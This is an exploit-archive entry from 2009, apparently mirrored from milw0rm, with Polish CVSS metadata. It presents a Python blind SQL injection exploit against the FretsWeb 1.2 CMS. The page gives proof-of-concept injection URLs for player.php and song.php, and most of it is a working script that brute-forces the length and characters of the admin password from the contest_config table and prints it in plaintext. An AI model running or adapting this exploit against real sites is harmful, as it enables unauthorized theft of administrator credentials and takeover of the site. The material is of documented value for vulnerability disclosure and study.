FretsWeb 1.2 (name) Remote Blind SQL Injection Exploit

2009.06.21
Credit: YEnH4ckEr
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-89


Ogólna skala CVSS: 7.5/10
Znaczenie: 6.4/10
Łatwość wykorzystania: 10/10
Wymagany dostęp: Zdalny
Złożoność ataku: Niska
Autoryzacja: Nie wymagana
Wpływ na poufność: Częściowy
Wpływ na integralność: Częściowy
Wpływ na dostępność: Częściowy

#!/usr/bin/python #--------------------------------------------------------------------------------------------- #| (GET var 'name') BLIND SQL INJECTION EXPLOIT | #|-------------------------------------------------------------------------------------------| #| | FretsWeb 1.2 | | #| CMS INFORMATION: ------------------------ | #| | #|-->WEB: http://sourceforge.net/projects/fretsweb/ | #|-->DOWNLOAD: http://sourceforge.net/projects/fretsweb/ | #|-->DEMO: N/A | #|-->CATEGORY: CMS / Games/Entertainment | #|-->DESCRIPTION: Fretsweb is a Contest or Chart Server for Frets on Fire. It... | #| is an improved version of FoFCS.It is meant for... | #|-->RELEASED: 2009-05-30 | #| | #| CMS VULNERABILITY: | #| | #|-->TESTED ON: firefox 3 | #|-->DORK: N/A | #|-->CATEGORY: BLIND SQLi PYTHON EXPLOIT | #|-->AFFECT VERSION: CURRENT (MAYBE <= ?) | #|-->Discovered Bug date: 2009-06-02 | #|-->Reported Bug date: 2009-06-02 | #|-->Fixed bug date: 2009-06-14 | #|-->Info patch: http://sourceforge.net/projects/fretsweb/ | #|-->Author: YEnH4ckEr | #|-->mail: y3nh4ck3r[at]gmail[dot]com | #|-->WEB/BLOG: N/A | #|-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo. | #|-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!) | #--------------------------------------------------------------------------------------------- # #------------ #CONDITIONS: #------------ # #magic quotes=OFF # #------- #NEED: #------- # #Valid name # #--------------------------------------- #PROOF OF CONCEPT (SQL INJECTION): #--------------------------------------- # #http://[HOST]/[PATH]/player.php?name=[valid_name]'+and+1=1%23 --> TRUE #http://[HOST]/[PATH]/player.php?name=[valid_name]'+AND+1=0%23 --> FALSE # # #http://[HOST]/[PATH]/song.php?hash=[valid_song]'+and+1=1%23 --> TRUE #http://[HOST]/[PATH]/song.php?hash=[valid_song]'+and+1=0%23 --> FALSE # #-------------- #WATCH VIDEOS #-------------- # # BSQLi --> http://www.youtube.com/watch?v=BYrkuAN2ggI # # LFI --> http://www.youtube.com/watch?v=LZ8cG_sIHow # # ##**************************************************************************## ## SPECIAL THANKS TO: Str0ke and every H4ck3r(all who do milw0rm)! ## ##**************************************************************************## ##--------------------------------------------------------------------------## ##**************************************************************************## ## GREETZ TO: JosS, Ulises2k, J.McCray, Evil1 and Spanish Hack3Rs community!## ##**************************************************************************## # #Used modules import urllib,sys,re,os #Defined functions def init(): if(sys.platform=='win32'): os.system("cls") os.system ("title FretsWeb 1.2 Blind SQL Injection Exploit") os.system ("color 02") else: os.sytem("clear") print "\t#######################################################\n\n" print "\t#######################################################\n\n" print "\t## FretsWeb 1.2 Blind SQL Injection Exploit ##\n\n" print "\t## ++Conditions: magic_quotes=OFF ##\n\n" print "\t## ++Needed: Valid name ##\n\n" print "\t## Author: Y3nh4ck3r ##\n\n" print "\t## Contact:y3nh4ck3r[at]gmail[dot]com ##\n\n" print "\t## Proud to be Spanish! ##\n\n" print "\t#######################################################\n\n" print "\t#######################################################\n\n" def request(urltarget): conn=urllib.urlopen(urltarget) outcode=conn.read() #print outcode #--> Active this line for debugger mode return outcode def error(): print "\t------------------------------------------------------------\n" print "\tWeb isn't vulnerable!\n\n" print "\t--->Maybe:\n\n" print "\t\t1.-Patched.\n" print "\t\t2.-Bad path or host.\n" print "\t\t3.-Bad name.\n" print "\t\t4.-Magic quotes ON.\n" print "\t\tEXPLOIT FAILED!\n" print "\t------------------------------------------------------------\n" sys.exit() def testedblindsql(): print "\t-----------------------------------------------------------------\n" print "\tWEB MAYBE BE VULNERABLE!\n\n" print "\tTested Blind SQL Injection.\n" print "\tStarting exploit...\n" print "\t-----------------------------------------------------------------\n\n" def helper(filename): print "\n\t[!!!] FretsWeb 1.2 Blind SQL Injection Exploit\n" print "\t[!!!] USAGE MODE: [!!!]\n" print "\t[!!!] python "+filename+" [HOST] [PATH] [NAME]\n" print "\t[!!!] [HOST]: Web.\n" print "\t[!!!] [PATH]: Home Path.\n" print "\t[!!!] [NAME]: Name for fish\n" print "\t[!!!] Example: python "+filename+" 'www.example.com' 'demo' 'y3nh4ck3r'\n" sys.exit() def brute_length(urlrequest): #Username length flag=1 i=0 while(flag==1): i=i+1 blindsql=urlrequest+"'+AND+(SELECT+length(value)+FROM+contest_config+WHERE+name='admin_password')="+str(i)+"%23" #injected code output=request(blindsql) if(re.search("<title>Fretsweb - Player</title>",output)): flag=2 else: flag=1 #This is the max length of username if (i>50): error() #Save column length length=i print "\t<<<<<--------------------------------------------------------->>>>>\n" print "\tLength catched!\n" print "\tLength Username --> "+str(length)+"\n" print "\tWait several minutes...\n" print "\t<<<<<--------------------------------------------------------->>>>>\n\n" return length def exploiting (lengthvalue,urlrequest): #Bruteforcing values values="" k=1 z=32 while((k<=lengthvalue) and (z<=126)): blindsql=urlrequest+"'+AND+ascii(substring((SELECT+value+FROM+contest_config+WHERE+name='admin_password'),"+str(k)+",1))="+str(z)+"%23" #injected code output=request(blindsql) if(re.search("<title>Fretsweb - Player</title>",output)): values=values+chr(z) k=k+1 z=32 #new char z=z+1 return values #Main init() #Init variables if(len(sys.argv) <= 3): helper(sys.argv[0]) host=sys.argv[1] path=sys.argv[2] nameforfish=sys.argv[3] finalrequest="http://"+host+"/"+path+"/player.php?name="+nameforfish testblind1=finalrequest+"'+AND+1=1%23" #Return true outcode1=request(testblind1) testblind2=finalrequest+"'+AND+1=0%23" #Return false outcode2=request(testblind2) #Check BSQLi if(outcode1==outcode2): error() else: testedblindsql() #Catching length of admin password lengthadmin=brute_length(finalrequest) #Catching value of password (not hashed) passwordadmin=exploiting(lengthadmin,finalrequest) print "\n\t\t*************************************************\n" print "\t\t********* EXPLOIT EXECUTED SUCCESSFULLY ********\n" print "\t\t*************************************************\n\n" print "\t\tAdmin-password: "+passwordadmin+"\n\n" print "\n\t\t<<----------------------FINISH!-------------------->>\n\n" print "\t\t<<---------------Thanks to: y3nh4ck3r-------------->>\n\n" print "\t\t<<------------------------EOF---------------------->>\n\n" #Check all arguments

Referencje:

http://www.milw0rm.com/exploits/8980


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